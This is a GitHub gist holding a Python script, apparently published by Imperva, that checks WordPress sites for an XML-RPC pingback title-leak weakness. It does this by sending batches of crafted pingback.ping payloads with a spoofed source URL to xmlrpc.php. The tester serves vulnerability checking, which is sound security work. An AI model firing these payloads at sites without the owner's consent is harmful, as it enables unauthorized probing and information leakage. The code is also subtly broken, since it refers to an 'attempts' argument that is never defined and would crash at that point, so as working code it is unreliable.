Skip to content

Instantly share code, notes, and snippets.

@yohannslm
Created March 26, 2025 07:45
Show Gist options
  • Select an option

  • Save yohannslm/478a08dcd166547f496a8398040fc339 to your computer and use it in GitHub Desktop.

Select an option

Save yohannslm/478a08dcd166547f496a8398040fc339 to your computer and use it in GitHub Desktop.
"""
# MIT License
# Copyright (c) 2025 Imperva
# See the LICENSE file for details.
====================================================================================
WordPress XML-RPC Title Leak Vulnerability Tester
====================================================================================
This script evaluates whether a given WordPress site is vulnerable to
the XML-RPC Title Leak attack. The attack allows an attacker to
abuse the `pingback.ping` method in XML-RPC to leak the titles of private and draft posts.
DISCLAIMER:
--------------------------------------------------------------------------------
This script is for **educational and security testing purposes only**.
You must have **explicit permission** from the site owner before using it.
Unauthorized testing may be illegal. Use responsibly.
====================================================================================
"""
import requests
import argparse
import random
import string
import urllib3
import concurrent.futures
import sys
from tqdm import tqdm
# Suppress only the InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_random_fragment(length=6):
"""Generate a random URL fragment like #abcd12."""
return "#" + ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def send_pingback_request(url, legit_domain):
"""Send a single pingback request and return the result."""
endpoint = f"{url.rstrip('/')}/xmlrpc.php"
fragment = generate_random_fragment()
source_url = f"https://{legit_domain}/post{fragment}"
target_url = f"{url.rstrip('/')}/fake-target"
xml_payload = f"""
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>{source_url}</string></value></param>
<param><value><string>{target_url}</string></value></param>
</params>
</methodCall>
"""
headers = {"Content-Type": "text/xml"}
try:
response = requests.post(endpoint, data=xml_payload, headers=headers, timeout=5, verify=False)
return response.status_code == 200
except requests.exceptions.RequestException:
return False
def test(url, legit_domain, attempts=10, max_workers=5):
"""Evaluate if an endpoint is vulnerable to the attack using concurrent requests."""
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
# Create the tasks
futures = [
executor.submit(send_pingback_request, url, legit_domain)
for _ in range(attempts)
]
# Process the results as they complete with a progress bar
with tqdm(total=attempts, desc="Testing vulnerability", unit="request") as progress:
for future in concurrent.futures.as_completed(futures):
results.append(future.result())
progress.update(1)
# Return True if all requests were successful (indicating vulnerability)
return all(results) and len(results) > 0
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Test if your site is vulnerable against title leak attack.")
parser.add_argument("-u", "--url", help="The base URL of the WordPress site you want to test (e.g., https://mywpsite.com)")
parser.add_argument("-l", "--legit_domain", help="A legit domain to be used as fake source for the XMLRPC message. By default, example.com", required=False)
args = parser.parse_args()
if not args.url:
parser.print_help()
sys.exit(1)
domain = args.legit_domain if args.legit_domain else 'example.com'
print(f"Testing {args.url} with {args.attempts} concurrent requests...")
if test(args.url, domain, attempts=10, max_workers=3):
print("\n[!] VULNERABLE: Your site is not protected against XML-RPC title leak attacks")
else:
print("\n[✓] PROTECTED: Your site properly rejects suspicious XMLRPC payloads.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment